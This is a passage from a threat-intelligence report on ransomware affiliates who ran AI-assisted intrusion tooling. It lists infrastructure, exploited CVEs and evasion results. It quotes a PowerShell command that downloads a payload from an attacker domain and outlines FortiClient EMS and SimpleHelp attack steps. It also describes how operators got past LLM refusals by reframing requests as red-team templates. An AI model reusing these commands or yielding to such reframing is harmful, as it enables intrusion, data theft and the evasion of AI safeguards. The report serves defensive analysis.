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Executive Summary
SOCRadar Threat Research Unit (STRU) identified an AI-driven intrusion ecosystem operated by
ransomware-affiliated threat actors. Investigation of the publicly accessible server exposed the
operators' AI session databases, central knowledge repository, and a new Autonomous Red Team
Kill Chain Framework called Phantom, ultimately enabling STRU to trace and uncover six additional
exposed adversary-controlled servers.

Across this exposed infrastructure, the actors engaged in widespread exploitation of exposed
internet services, specifically targeting FortiClient EMS gateways, Ivanti/Citrix/SonicWall/OpenVPN
gateways, SimpleHelp remote management servers, and cPanel hosting controls. Concurrently, they
orchestrated operations via the Phantom framework, established RevSocks reverse-SOCKS proxies
for network pivoting, deployed Ghost C2 variants, and utilized AI-managed knowledge bases to
meticulously log victim telemetry, compromised credentials, and active campaign statuses.

Analysis of the underlying infrastructure revealed that the operators function as affiliates who
leverage customized encryptors and tailored extortion packages rather than serving as the core
owners of those groups. Evidence included custom INC Ransomware encryptor builds configured for
a coordinated deployment on October 1, 2026, a documented victim encryption session, and a
tailored extortion package associated with The Gentlemen Ransomware group. The entire campaign
was uncovered in late September 2026 due to operational security failures that left source code,
credential stores, AI session logs, and knowledge databases exposed.

This incident underscores a significant evolution in contemporary cyber threats: AI-driven attack
workflows have transitioned from experimental models to central operational components for
ransomware groups, with total spending on AI service usage exceeding $23,000. While these
automated frameworks allow lean teams to rapidly escalate initial access to full ransomware
deployment, the centralized AI databases driving the operations concurrently expose the
entire campaign.

Uncovering the AI-Driven Offensive
Infrastructure of INC and The
Gentlemen Ransomware Affiliates
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Key Findings
AI serves as the operational core and primary evidence corpus of the ecosystem. Operators run
workflows via OpenCode and OpenRouter-hosted models, logging activity across multiple databases, 92
session files, and a knowledge base. Total AI API expenditure exceeds $23,920

Analysis links the infrastructure to INC and The Gentlemen Ransomware groups’ operators, and reveals
that a deployment wave was staged. Operators prepared 46 INC encryptor binaries built for 6 victims -
three victims hold a single standalone Windows build each, and three hold a complete 14-platform
package each (one distinct X25519 keypair per victim) plus one non-personalized attacker-side cross-
compile. A SimpleHelp session from September 30 confirmed active encryption. Concurrently, The
Gentlemen side is a branded extortion package (four-message escalation, vishing plan) for one publicly
listed victim case

Evidence from log files confirms widespread automated attacks focusing on public-facing devices.
Documented instances include widespread compromises of FortiClient EMS deployments (CVE-2026-
35616 - 2,236 discovered targets, 227 VPN profiles on 96 servers, 108 created admins, 4,140 managed
endpoints), SimpleHelp infrastructure (CVE-2024-57727, impacting 242 unique IP addresses), cPanel
environments (CVE-2026-41940, with 49 or more claimed breaches), all per operator records

Exposed servers contain the operational architecture, encompassing AI/knowledge databases, Phantom
Framework, target intelligence, RevSocks, Ghost C2 delivery mechanisms, and an administrative control
panel. While the exposed files provide robust evidentiary value, they do not constitute exhaustive live-
service telemetry. Furthermore, the architecture utilizes distinct codebases across multiple C2 variants
rather than relying on a unified backend

Targeting spans 62 named organizations, primarily concentrated in the United States (36 entities) and
sectorally led by industrial/manufacturing (16.1%) and healthcare (14.5%)
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Discovery
The investigation originated from a key discovery of an exposed command-and-control server at
45.227.254[.]43 with publicly accessible directories. This exposure revealed the initial knowledge
base (KB), OpenCode session logs, WormGPT-designated MCP tools, and source code for the
Phantom framework, forming the cornerstone for all subsequent findings. Analyzing configuration
files and logs from these assets revealed 6 additional adversary servers. STRU parsed three
OpenCode SQLite databases, knowledge bases, and session files to build the central evidence base,
outlining the investigation's analytical timeline rather than the actor's execution framework.

Operational security failures across the threat actor's infrastructure left publicly accessible web
directories exposed. These open directories contained session databases, tooling information, API
tokens, task logs, and case records alongside the core operational toolset.

Ecosystem Overview

The Exposed Adversary-Controlled Servers
The investigation relies on an interconnected set of exposed files and infrastructure nodes. Their
hosting provider preferences show a heavy utilization of AS267784 (Flyservers S.A.). Each source
addresses distinct aspects of the activity:
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45.227.254[.]43 (Initial Exposed Server): Serves as the baseline working environment containing the
OpenCode/KB repository and Phantom framework, forming the seed of the investigation

45.227.254[.]45 (Development & Deployment Node): Contains build scripts, partner packages, C2
configurations, target data exports, and selected tunnel logs

45.227.254[.]84 (Workstation): Includes a dedicated OpenCode SQLite database with write-ahead logs,
target workspaces, and closely matching Phantom source code

179.60.149[.]68 (Staging Directory): Holds payload-serving logs, Ligolo and Phantom listener records,
SMB discovery outputs, and failed exploit logs

77.110.109[.]248, 89.185.83[.]8, 138.124.113[.]210 (Supporting Infrastructure): Cover RevSocks
pivoting, Ghost delivery mechanisms, and administrative panel captures

Operation Timeline
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Architecture & Tooling Overview
The infrastructure inventory comprises seven exposed servers identified in exposed files on
45.227.254[.]43. The first exposure yielded the knowledge base, OpenCode history and Phantom
source; tracing the configuration, log and credential references inside those artifacts surfaced the six
further exposed servers.

The operational environment is an ecosystem of distinct systems rather than a single unified
platform. OpenCode serves as the primary AI interface - supported by WormGPT system prompts,
MCP servers, and a persistent knowledge base for tool adaptation and intelligence. The Phantom
framework routes queries to specialized skills and templates, executing commands via direct shell or
MCP calls. Standalone tools (Ghost C2, Phantom agents, Mythic/Athena, RevSocks/Utox, and
tunneling utilities) run independently using unique protocols.

Tooling Overview
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45.227.254[.]43 (D110) - Initial AI Infrastructure Node:

Functions as the central workbench driving the operation. This host contains the primary WormGPT-
designated knowledge base, an OpenCode database, the PHANTOM framework source code, and
target-specific case directories (chat/). Analysis of stored session data and KB references served as
the catalyst for discovering all downstream infrastructure. Total files: 3,029 files (~1.4 GB).

wormgpt-kb/knowledge.db: Searchable knowledge base of 1,765 entries across 44 recorded sessions,
tracking victim profiles, credentials and engagement status

.local/share/opencode/opencode.db: 153 MB database spanning August 24, 2026, to September 1,
2026, logging 32 sessions, 3,348 messages, and 10,631 parts

PHANTOM_PROJECT/: Core codebase encompassing the router, 18 SKILL modules, C2 agents, CVE
scanner, CLI utilities, and operational documentation

chat/VICTIM/: Per-target workspaces containing exfiltrated assets, including NTDS.dit dumps, SYSTEM
registry hives, stealer logs ("stil"), and SoftPerfect network scan outputs

.config/opencode/opencode.json (+ backups): Configuration records detailing Kimi K3 model
parameters alongside three iterations of OpenRouter API keys

45.227.254[.]45 - Development and Deployment Hub:

Serves as the core build, packaging, and staging environment. It houses partner bundles, C2
compilation scripts, traffic routing templates, knowledge base snapshots, and case data exports. This
server documents prepared assets ready for deployment rather than installed client software. Total
files: 17,383 files (6.66 GB).

Partner Delivery Package (README_PARTNER.md & phantom_partner/): Compiled on August 19, this
bundle includes the Phantom framework, OpenCode interface, WormGPT-MCP utilities, an updated
knowledge base, and custom AI key configurations

Staging and Sanitization (partner_deploy/): Contains sanitization scripts (sanitize.py) and staging
directories, serving as the source for metrics including 35 MCP servers, 55+ tools, and over 9,000
indexed CVEs

C2 Compilation & Orchestration (opencode/ & Athena/Mythic scripts): Includes C2 compilation
workflows, Mythic execution logs, and reverse-engineered operator console binaries and key
handling logic
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Traffic Routing Infrastructure (nginx templates & Worker route configs): Configurations and templates
designed for managing C2 redirection and routing pathways

Centralized Intelligence Backup (remote_full_export.json): A comprehensive 1,882-row knowledge base
export encompassing historical database batch imports

Database & Email Exfiltrates: Case-specific data dumps containing 4,424 Message-IDs (Case C04) and
3,036 customer and metering records (Case C01)

Implant Builds & Tunneling Artifacts (QuickLine & Chisel Logs): Compiled Phantom C2 clients along with
connection logs documenting two lab-environment reverse-SOCKS proxy sessions

45.227.254[.]84 - Operator Workstation:

The artifacts of this server reveal the active operator workstation for ransomware operations. RDP
forwarding (port 37777) and TigerVNC (port 5900) provided remote access to the Kali host, while
shell history showed xfreerdp and evil-winrm usage. Operations moved to a QEMU/KVM Windows
Server 2022 VM (IPs 192.168.122.18 and .45) where core ransomware activities occurred, including
staging INC binaries, per-victim packages (September 30), and executing the SimpleHelp console
(146.70.41[.]131) to direct win.exe encryption tasks. Total files: 33,975 files (6.0 GB). Key details:

Kali Host: Operates as the primary QEMU/KVM/libvirt virtualization environment, hosting Phantom, target
workspaces, and OpenCode (logging 101 sessions and $244.57 in costs between August 2, 2026, and
September 28, 2026)

Windows VM Addressing (192.168.122.18 → 192.168.122.45): Represents two sequential IP assignments
recorded across different states of the same guest Windows VM

RDP Forwarding Rule (37777 / guest :37777): Configured port-forwarding rule for Remote
Desktop traffic

VNC Endpoint (5900): Host-level VNC access detailed in setup documentation and saved TigerVNC
client history

WinRM Configuration (guest :5985): Windows Remote Management enabled during VM setup

Ransomware Workspace Artifacts: Located in VM Documents (including win.exe ×3, variant builds, P.zip,
and the SimpleHelp console), containing encryptor binaries and packages staged on September 30

Internal Target Peer (192.168.122.100): Identified as an RDP/WinRM destination within shell
command logs
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The operational execution path follows a clear sequence: operator workstation → local Windows VM
→ SimpleHelp console → target environments. The threat actors managed victim networks using
their own remote-management infrastructure, accessed from an operator workstation via RDP and
VNC channels.

179.60.149[.]68 - Campaign Staging and Network Pivot Node:

Analysis of this server shows that the infrastructure extended beyond a local AI development
environment to serve as an active engagement staging server. In total, the host has 482 files (596.6
MB) detailing operational activities, network pivots, and execution boundaries:

Payload Delivery & Traffic Logs: August 14-16 HTTP logs record HEAD/GET requests for agent.exe and
security tools. Initial queries were local; subsequent external traffic likely reflects web scanning rather
than target execution

Network Pivoting (Ligolo): Logs record 30 connection entries across five join events in two pivot
contexts, though active compromise remains unverified

Phantom Listener Activity: Logs document a test implant and a Windows peer, showing service startup
rather than victim check-ins

Target Network Reconnaissance: An SMB scan identified domain controllers, file shares, database hosts,
and backup systems in the SNGCORP (Leo Schachter Diamonds) network - linked to The Gentlemen’s
extortion campaign - without confirmed credential authentication

Exploitation Limits & Failed Attempts: Execution logs detail failed EternalBlue, EternalRomance, and
BlueKeep attempts, terminated Meterpreter instances, and NTLM relay LDAP errors

Data Exfiltration Status: An empty 98-byte ZIP archive and invalid HTML camera files confirm no
successful backup or surveillance data extraction occurred

89.185.83[.]8 - Ghost C2 Infrastructure & Credential Harvesting Environment:

The server hosting multiple generations of Ghost C2 along with a dedicated credential-dumping
development framework. Total files: 106,319 files (5.9 GB). Key components include:

Ghost Agent & Bot Assemblies (51 per-bot builds): Windows agent development lineage featuring
unique, hardcoded bot identities embedded in each compiled build

Telegram-Based C2 & Loader Architecture: Includes 51 ghost-api-tg builds alongside 45 sideloading
loaders/DLLs, incorporating digitally signed variants for evasion
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Delivery Database: Records 54 successful hits generated during an explicitly named testing campaign

Legacy Ghost Operational State: Tracks 13 distinct build IDs distributed across seven unique hostnames
active between July 12 and August 2

Credential Extraction Toolkit: Go-based LSASS dumping variants and colorui DLL source code enabling
direct, fork/snapshot, and driver-assisted protected-process memory extraction, utilizing obfuscated
strings, API hashing, and staged execution

138.124.113[.]210 - Ghost Control Panel Interface:

Serves as the mTLS administrative dashboard for managing Ghost infrastructure, featuring restricted
task logging. Total archive: 19 files totaling 596 KB.

mTLS Management Dashboard: Operator interface for Ghost C2 operations; represents a targeted panel
capture rather than a complete service inventory

Command & Task Logs: Records one successfully executed whoami command and four task entries
dispatched without returning output (August 2, 16:36-16:45). This reflects an operator lab testing
scenario rather than active victim engagement

Domain and Endpoint Mapping

Analysis of network artifacts - such as Ghost and Phantom source configurations, Nginx templates
on 45.227.254[.]45, knowledge base records, and Cloudflare DNS records - reveals direct mappings
between specific domains, fronted endpoints, and their associated origin servers:

Domain Subdomains - IP

system-strategy[.]org api - 77.110.126[.]197

d - 77.110.118[.]70

update - 89.185.83[.]8

ws - 176.124.203[.]177

iquickline[.]com api / cdn / update / apex - 77.110.126[.]197

mcgrawney[.]com dl / docs / share / apex - 77.110.126[.]197

driverupdate[.]app api - 45.227.255[.]169

stackpathcloud[.]com api - 45.227.255[.]169
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Domain Subdomains - IP

ghost-relay[.]stk-cdn-07[.]workers[.]dev - Cloudflare Workers

cloud-update[.]live 141.98.80[.]68

bossprotect[.]com 91.199.163[.]67

karabas[.]corp 91.199.163[.]108 (test environment)

chat.mondeikin[.]com 196.251.121[.]243 - Operator's Rocket.Chat service

z26qmezqaixjp3k6spvdpool4us6m3ei453f7wgl7
gouojmp2ttkdgad[.]onion

- Operator's Rocket.Chat Tor hidden service

Operator’s AI Sessions Analysis
An analysis of the operational transcripts - comprising 8,257 messages (991 from the operator and
7,266 from the assistant) across 133 OpenCode sessions - was conducted and cross-referenced with
three knowledge-base iterations (1,765 active, 2,573 historical, and 2,132 removed entries). This
evaluation addresses four primary dimensions: operator interaction patterns, operator profile
insights, model behavior relative to standard commercial LLMs, and instances requiring specific
request-framing.

Operator-AI Interaction Dynamics

Campaigns began by loading a victim-specific master prompt from /root/Documents (e.g., "load
prompt VICTIM from documents"). Per the directive "coordinate every action with me", the AI
presented numbered choices for operator approval (e.g., "да", "3", "5"). In 18 instances, the AI
queried the operator on parameters like cracking strategies, VNC's password limit, or SSH vs. RDP.
Tactical subagents handled hygiene (e.g., @general doc-cleanup, @explore file enumeration).
Outcomes were logged via kb_save and 411 watchdog_auto_* tasks. Operations cost ~$433, shifting
on August 19 from anthropic/claude-opus-4.6 ($146.24) to moonshotai/kimi-k3 ($98.67) on
45.227.254[.]84 to optimize spending.

Operator Profile Insights

Communications reveal Russian-speaking, concise operators relying on structured approvals. Peak
activity occurred between 06:00 and 14:00 UTC (MSK morning-to-afternoon) with occasional night
sessions. Message spikes aligned with major milestones, including August 3 (139 messages during
VM setup and prompt initialization) and August 30 (103 messages mid-campaign). Key operational
behaviors include:
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Risk Assessment: Consulted AI on stealth before actions, such as registry-based Trend Micro disabling
(August 14)

Real-Time Debugging: Used AI for technical troubleshooting; e.g., resolving a stalled Quick Heal killer via
radare2 analysis of zam64.sys (August 30)

OPSEC Discipline: Maintained strict security via log clearing (September 25), exhausting TutaMail limits
(September 14), and validating OpenRouter API key rotations (September 26)

Model Behaviors

The deployed systems were standard commercial LLMs hosted on OpenRouter (including
anthropic/claude-opus-4.6 and moonshotai/kimi-k3). Database logs reveal no evidence of
jailbroken or "uncensored" models, indicating that the WormGPT label was merely a persona system
prompt. Built-in safety guardrails worked properly, issuing refusals on August 28 and September 15
for requests targeting legitimate organizations. The operator bypassed these safety controls by
reframing prompts rather than switching models. Additionally, on host 45.227.254[.]84, a model
rejected adopting the WormGPT persona, noting that integrated ransom-negotiation tools
constituted "criminal infrastructure"-a commercial LLM's direct rejection logged verbatim in
the database.

Framing Mechanism and Scope:

Framing used a two-layer strategy. First, per-victim master prompts established campaign contexts
with target codenames. Second, the security-tools MCP's reframe_request tool was invoked 32
times to rewrite sensitive requests into "Authorized Red Team Assessment Request" templates
before model processing. Reframing targeted requests involving direct harm, like altering live EDR
settings or disabling AV network-wide, while routine technical queries were submitted directly.
Framing failures caused two refusals, but successful retries proved its efficacy. Rather than switching
models, the operator treated safety guardrails as an engineering challenge.
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Intrusion Workflow
This composite TTP framework illustrates potential operational stages based on gathered findings.
For clarity and precision, each phase highlights the most compelling evidence while defining the
boundaries to prevent over-interpretation.

Stage Evidence Confidence

Reconnaissance and
exposure mapping

Scanner modules, Nessus references, gateway
target lists, web/CVE catalogs, AD and host
inventories.

High in tooling and selected
target records; variable in
successful exploitation.

Initial access and
access scaling

Imported FortiClient EMS notes describe VPN-
profile insertion and stealth-admin creation;
other notes cover SonicWall/OpenVPN and web
exploitation.

Moderate in operator intent and
some case access; low for
aggregate success totals.

Persistence and staged
execution

Captured PowerShell loader, stagers, agent
builds, scheduled-task variants and remote-
management tools.

High in code capability; endpoint
execution depends on separate
logs.

Privilege and lateral
movement

DCSync-format outputs, NetExec SMB relations,
BloodHound data, RDP/WinRM and tunnel
records.

High in selected collected
artifacts.

Defense evasion /
impairment

AMSI-oriented loader, build-format experiments,
vulnerable-driver security-product killer, lab EDR
notes.

High in preparation; claims of
universal bypass are unsupported
and some tests failed.

Collection and
exfiltration preparation

Captured SQL/mail exports, directory listings,
proof-pack builders, backup and cloud-transfer
configs.

High for possession of selected
exports; claimed terabytes and all
transfers remain unverified.

Encryption and extortion 46 INC encryptor binaries built for six victims
(three win.exe builds, one attacker-side variant,
42 staged cross-platform builds), shared
decoded ransom note, negotiation drafts, a
public-pressure page and case-linked listing
overlap.

High in possession/preparation;
one screenshot-observed victim-
side INC execution is confirmed;
completion and payment are
unverified.
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Operator Engagement Execution
The 45.227.254[.]84 workstation logs operational activity. Its OpenCode database, target notes, and
/root/chat/targets/ directory contain victim discovery data and engagement workflows. The targets/
directory holds ten build folders - four active and six empty - totaling 296 files (~2.46 GB). A single
hospitality workspace accounts for most data (~2.12 GB). Empty folders represent build labels rather
than confirmed access.

OpenCode logs record 1,063 path operations across 36 sessions, reflecting workspace management
rather than distinct breaches. Events from August 30 to September 28 stem from user requests.
Overall, the logs confirm AI-assisted case management over autonomous discovery.

Engagement Lifecycle

Analysis of session prompts, utility outputs, and knowledge base records across investigated cases
reveals a recurring six-phase engagement lifecycle. The following table outlines each operational
phase, details operator actions, and summarizes the supporting evidence.

Phase Operator Actions

Case setup Loaded a reusable session prompt - same methods, replaced infrastructure. A
new case README named the proposed scope and asked the AI to record
operator approval.

Access Connected through a Windows Server 2022 VM on 45.227.254[.]84 (KVM/libvirt,
NAT, forwarded RDP) to reach target networks

Enumeration and

Privilege Escalation

Ran SMB, LDAP, RPC, Nmap and BloodHound against target hosts; attempted
DCSync where AD access allowed.

Credential Harvesting Ran stealer tooling on victim workstations to extract browser, Credential Manager
and DPAPI material; reused credentials across services.

Data Prioritization Normalized remote file listings and generated per-server candidate lists, filtering
for recent finance, HR/PII, legal, executive, IT and security material.

Collection Attempt Retrieved selected files over the established tunnel; failures logged alongside
successes and fed back into KB for reuse on later engagements.

Credential Harvesting in Practice

In case C11 (Victim), stealer malware on victim workstations retrieved 76 Credential Manager entries,
3,307 browser logins, plaintext domain and local-admin passwords, and DPAPI masterkeys decrypted
via the domain backup key. Reused credentials provided broad access: a local-admin password
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unlocked Meraki VPN, a domain password worked across all servers, and harvested browser logins
granted access to Meraki, Datto, Atera RMM, Veeam, PayPal, 1Password, and SentinelOne.

Password reuse made the harvest operationally significant. Matching local-admin, domain, and
browser credentials unlocked Meraki VPN, servers, Datto, Atera RMM, Veeam, PayPal, 1Password,
and SentinelOne. A single endpoint password simultaneously compromised the network, backups,
and security management.

Although the C11 run was recorded a day after domain-admin entry, placing it squarely in the post-
compromise stage, reused credentials (such as those harvested from stealer logs) stay a viable
initial-access vector; C11's exact entry method, however, remains unverified.

This operational framework implements an interactive playbook for access expansion and data triage
- human-directed, AI-structured, and fundamentally driven by credential reuse as its core force
multiplier across all stages. Harvesting stealer logs functions both as a potential initial-access vector
and as an accelerant during post-compromise activity (where a single reused password grants
full access).

FortiClient EMS and Other Edge Device Intrusions
KB records show 2,236 targets, 227 VPN profiles across 96 EMS servers, 108 admin accounts,
4,140 managed endpoints, and 441 online Windows endpoints. A separate series notes 42
compromises (out of 50 candidates) impacting 1,351 endpoints. Additionally, an entry claims VPN
profile deployment to 17 endpoints, but lacks validating execution logs.

Attack chain steps:

Auth bypass: Forging the X-SSL-CLIENT-CERT header and registering a fabric device (POST
/api/v1/fabric/devices) escalates unauthenticated requests to a privileged EMS session

Backdoor creation: ems_admin_create.py creates a sysadmin super_administrator (42/50 targets, 1,351
endpoints), deploys secondary accounts (fct_svc_*, ems_monitor_*), and wipes audit logs. ems_exploit.py
provides multithreaded enum, dump, rce, server-rce, burp, and shell subcommands

Payload delivery: Operators inject scripts into vpn.sslvpn.connections[N].on_connect and enable
autoconnect_tunnel. Within ~30s, connected endpoints run the script to silently install Remote Access-
windows64-online.exe /S as a RAT

Credential harvesting: FortiClient credentials are extracted via an XOR-obfuscated Go binary
(svchost.exe) and Metasploit's post/windows/gather/credentials/forticlient module

Three parallel RCE paths complement on_connect: /api/v1/deployment/create with a
pre_install_script field executes on managed endpoints; system-profile modification is a server-side
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alternative; custom-installer upload is a third.

Authenticated as sysadmin, the operator compromised a victim VPN profile by inserting a PowerShell
IEX cradle into its on_connect parameter. Payload distribution was subsequently initiated via EMS
reregister and vuln_scan operations. Upon establishing a VPN connection, the payload automatically
executed across 17 target systems following the BTC-LT-* and BTC-DT-* hostname convention.
The deployed command executed as follows:

powershell -nop -w hidden -ep bypass -c "IEX(New-Object

Net.WebClient).DownloadString('https://api.system-strategy.org/assets/js/analytics.js')"

This referenced analytics.js endpoint directly matches the URL identified in the second-stage
PowerShell loader, establishing a direct correlation between the analyzed loader artifact and active
delivery operations.

Stage-Two Delivery Artifacts

PowerShell In-Memory Loader: Disguised as an analytics script, this backdoor disables certificate
checks, decodes an AES-CBC payload, executes in memory, and interferes with AMSI, leaving a WER
marker. Unsubstantiated claims remain regarding ETW and hardware breakpoint evasion

Document-Template Delivery Service: Operating on 89.185.83[.]8 via delivery/phantom_server.py, this
system independently supports DOCX template injection (.dotm macro downloading stage-1 CMD) and
HTML smuggling (JS assembling ZIP/LNK files from Base64 chunks). Its E2E_TEST campaign recorded
54 stage hits from one target between September 1-9, all from operator-controlled addresses: 40 from
45.227.254[.]45, 12 from the operator's EDR-lab host 91.199.163[.]108 and 2 from localhost. Only 14
belong to the current target record. A stage hit is an HTTP event, not an implant execution, so this is a
self-test, not a victim delivery

FortiClient claim chain record in the knowledge base

Operational notes for peripheral gateways record three compromises across 32 evaluated Ivanti,
Citrix, SonicWall, and OpenVPN devices. Similarly, a 460-entry SonicWall SMA1000 list reflects
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initial target reconnaissance rather than confirmed intrusions, and a KB claim referencing “49+
cPanel” breaches lacks per-host verification logs in the exposed material.

Threat actors deliberately focus on public-facing edge devices to establish initial access, move
laterally across internal networks, and systematically escalate operations toward full-scale
ransomware deployment. This methodology aligns closely with tactics frequently observed in INC
Ransomware intrusions, including the FortiBleed campaign previously analyzed by STRU.

SimpleHelp Campaign
By leveraging CVE-2024-57727 at scale, the operator performed FOFA scans against 4,922 servers,
successfully retrieved 930 configuration files, and extracted 427 admin passwords. Recovered
scripts and knowledge base entries further detail four key operational elements:

Password Cracking (99.4% Success Rate): Cracked two hash formats in downloaded configs, including
77 SHA1 hashes (BOM+UTF-16BE, no salt) via rockyou/hashcat and 307 of 309 AES-CTR hashes using a
hardcoded PBKDF2-SHA512 key embedded in the SimpleHelp JAR

License Bypass for Scale: Developed a Blowfish V1 keygen (v5.x) and runtime Java agent (v6.1) to
activate Enterprise-Max (999 concurrent sessions, 10-year validity) on actor-controlled servers without
commercial licenses

Victim Agent Continuity Across Migrations: Restored serverkeys.dat from backup on replacement
servers and used netsh portproxy to bridge old to new addresses, allowing victims to auto-reconnect to
new C2 infrastructure (146.70.41[.]131 to 194.165.16[.]21) without redeployment

MSP Technician Credential Harvest: Used get_tech_creds.ps1 to extract saved SimpleHelp credentials
from %APPDATA%\JWrapper-SimpleHelp* and HKCU:\Software\SimpleHelp, enabling access to all client
systems managed by the technician without requiring CVEs

FOFA scan results and exploitation records in KB

https://socradar.io/blog/fortibleed-fortinet-firewalls-compromised/
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cPanel Campaign
Exploiting CVE-2026-41940 for WHM CRLF session minting, the actor claims to have breached over
49 cPanel servers. These small-scale targets ($1M-$10M revenue) provided supply-chain leverage
by hosting 50-500 domains per server.

Downstream Chain: Access enabled email account creation and subsequent CVE-2025-49113
Roundcube RCE exploitation. A scan of 2,089 US mail-server IPs flagged 233 vulnerable Roundcube
and 4 Zimbra instances

Pivot Reconnaissance: All 49 hosts scanned internal subnets, revealing a 450-port cPanel
farm (163.44.203.0/24)

Pre-Existing Backdoor: A UID 0 sysupdate account was already present on a victim host

Victim Interaction: Against one of the victims, port fingerprinting and a failed brute-force attempt
indicate access was gained via CVE

cPanel intrusion records in KB
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Observed Targeted CVEs in the Wild

CVE Target product Grade

CVE-2024-57727 SimpleHelp path traversal Actively exploited at scale
(operator-reported counts)

CVE-2026-35616 FortiClient EMS auth bypass Actively exploited (operator-
reported counts)

CVE-2026-41940 cPanel/WHM auth bypass Actively exploited (operator-
reported counts)

CVE-2020-1472 ZeroLogon Windows Netlogon Attempted

CVE-2026-0300 PAN-OS User-ID auth portal BoF
(0-day)

Attempted; delivery without
confirmed code execution.

CVE-2021-1675 PrintNightmare Windows Print Spooler Attempted - failed

CVE-2025-59718 FortiGate SAML SSO bypass Attempted - failed.

CVE-2024-49112
LDAPNightmare

Windows LDAP Attempted - not exploitable in the
operator's setup.

CVE-2023-27532 Veeam Backup Service Not used (operator-reported
counts)

CVE-2021-42278/42287 noPac Windows AD Attempted - failed.

CVE-2026-41089 Windows Netlogon
(NetpLogonPutUnicodeString)

Developed and lab-tested; victim
use not established.

CVE-2026-15409 SonicWall SMA1000 Staged - targeting preparation; no
confirmed compromise.

CVE-2026-63030 WordPress (wp2shell) Developed; use not established.

CVE-2025-62215 (agentgenerator target) Developed; use not established.

CVE-2026-42208 / CVE-2026-
9082

LiteLLM SQLi / Drupal SQLi Developed or referenced; use not
established.

CVE-2025-66568 / CVE-2025-
66567

SAML XML-parser bypass (XSW) Referenced.
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Defense Evasion
Operator toolkit defense evasion features agent-level techniques (AMSI/ETW interference,
obfuscation, in-memory staging), BYOVD security termination, and credential extraction. These
findings stem solely from operator logs without independent vendor telemetry.

Product Source Recorded Claims

Windows Defender Victim case notes; lab records BYPASSED - “driver service created, Defender killed,
registry hives extracted”

Trend Micro Manufacturing-sector SAP B1
case; operator registry-disable
questions

Disabled - Deep Security Agent, AMSP and Notifier
stopped via the PowerShell killer

OpenText/Webroot One victim workstation case Full bypass - “no kernel-level tamper protection”

COMODO Lab records BYPASSED - driver loaded as SysmonDrv64, four
processes terminated

SentinelOne Lab tests (legacy Phantom
beacon; ISO/LNK block)

Kill: yes, file delete: no - kernel sensor blocks file
ops; agent self-heals from cloud

CrowdStrike Lab records PARTIAL

Carbon Black Lab records Most likely to work fully of the enterprise EDRs

Bitdefender Lab test notes Partial function - check-in worked, result posting
intermittent

Kaspersky Victim-specific KB entries Self-report only

HP Wolf Security Same HP Wolf/Defender case Negative outcome - STATUS_VIRUS_INFECTED,
blocked hive/DPAPI objective

Quick Heal / Seqrite Dedicated killer project (v1 + v2
PE with embedded driver)

Tool development; v1 hang noted, v2 victim success
unverified

ESET Operator note about pausing
ESET

Planning reference
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Operator Arsenal
The threat actor utilizes a diverse toolkit consisting of customized frameworks, modified open-source
tools, tailored configuration settings, and compiled binaries. This assessment outlines the primary
core toolsets, excluding third-party software dependencies and public proof-of-concept exploits
from custom malware classification.

Phantom: Autonomous Red Team Kill Chain Framework
Phantom is a modular framework comprising numbered SKILL files, a routing module, and operational
profiles. It executes via local utilities, Bash, MCP calls, and optional remote agents. Although
OpenCode acts as the main model-driven workbench and stores session history, Phantom
components can run directly from the terminal. Additionally, the Go-based phantom-cli navigates
local SKILL files, while the Go mcp-bridge integrates remote-agent tasking into OpenCode.

Project README.md
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Operational Stage Core Architecture & Functionality

Selection Incoming operator instructions or direct routing requests are processed via OpenCode or
router/phantom_router.py. The system ranks applicable SKILL content sequentially using
key terms, fuzzy matching logic, and optional embedding vectors.

Formatting engine/profiles.py enforces operational modes (hard, normal, or silent). Context scope
(complete, summary, or targeted section) is supplied by skill_loader.py, while
command_gen.py provides shell script templates from a 69-item repository.

Execution Action execution demands a distinct Bash/MCP call, deployment agent, or active listener
pairing. Generated commands, SKILL definitions, or active autopilot states do not
independently confirm target-side execution.

Logging Utility outputs are archived within OpenCode session histories, case files, and the primary
knowledge base. Operational state and investigative reports are compiled via target_state
and report_gen, though final verification of any action relies strictly on target-side and raw
tool logs.

The division of responsibilities across the framework is defined by several core files: The model's persona
and scope parameters are configured via router/SYSTEM_PROMPT.md

Primary directives redirecting the model to the router and SKILL documentation are specified in
.opencode/skills/phantom-operator/SKILL.md

Annotated operational templates are provided by router/command_gen.py

Ten embedded module definitions are defined within the Go CLI (cli/main.go), which lacks any audited
pathways for listeners, networking, or agent tasking

Consequently, Phantom can be inspected and navigated independently of OpenCode; however, fully
AI-driven execution remains dependent on the underlying workbench and the specific tools invoked
by the model.
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SYSTEM_PROMPT.md

Modules

The updated source tree contains 18 numbered SKILL modules structuring workflows rather than
acting as live standalone agents. The Python classifier registers 17 modules (excluding 14_nessus),
whereas the Go CLI embeds the first ten. Companion source files exist in shared/tools_src/.

Module Function

01_recon Host and network discovery; Windows mitigations and EDR fingerprinting. Companion
sources include unified_recon.c, motw_recon.c and network/Linux scanners.

02_amsi Script-inspection and AMSI research; memory patching, hardware breakpoints,
unhooking and Execute-Assembly references, plus Linux control references in the tool
catalog.

03_ppl Protected-process and credential-access research; RTCore64/BYOVD, LSASS and PPL-
checking sources. The module is not evidence of a successful dump.
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Module Function

04_sandbox Integrity levels, AppContainer, token manipulation and sandbox-boundary assessment.

05_wdac_asr WDAC, ASR, AppLocker and constrained-language policy assessment; sideloading and
bypass test references.

06_etw ETW/Sysmon telemetry assessment, provider/session manipulation and event-log
research.

07_chain Composed execution and privilege-boundary chains, including symlink, hardlink and
Redirection Guard references.

08_osint Organization, employee, domain, email and external attack-surface research.

09_postexploit AD, lateral movement, credentials, persistence and pivoting references; companion
ad_lateral.py, ad_escalate.py and tunnel/credential sources.

10_data_analysis Parsing databases, files, email and AD material through db_parser.py, email_parser.py,
ad_parser.py and related helpers.

11_webapp_recon Web, API, JavaScript and subdomain reconnaissance.

12_cloud Cloud asset, metadata and secret-reference workflows.

13_creds ADCS, DPAPI, Kerberos and NTLM analysis. A recorded hash is not a validated login.

14_nessus Nessus API/assessment wrapper; present on disk but absent from the reviewed Python
classifier and autopilot registry.

15_forensics Memory, disk, EVTX and registry analysis; supported by the separate /opt/ forensic-tool
installer.

16_re_pwn Binary reverse engineering and exploit research; Ghidra and pwndbg are among the
installer-supported tools.

17_stego_crypto Steganography and cryptanalysis; RsaCtfTool is among the installer-supported tools.

18_exfil Collection and transfer references, including BackupConsole/rks3; supported
destinations are not evidence of upload.

The tool catalog grew across versions: the root README advertises 10 modules/42 tools; the July 22,
2026 docs/SOURCE_MAP.md gives 11 modules/52 tools while illustrating modules 01-10; later files
expose 18 modules and 69 selected shared/tools_src source files. Notably, the 69-item command
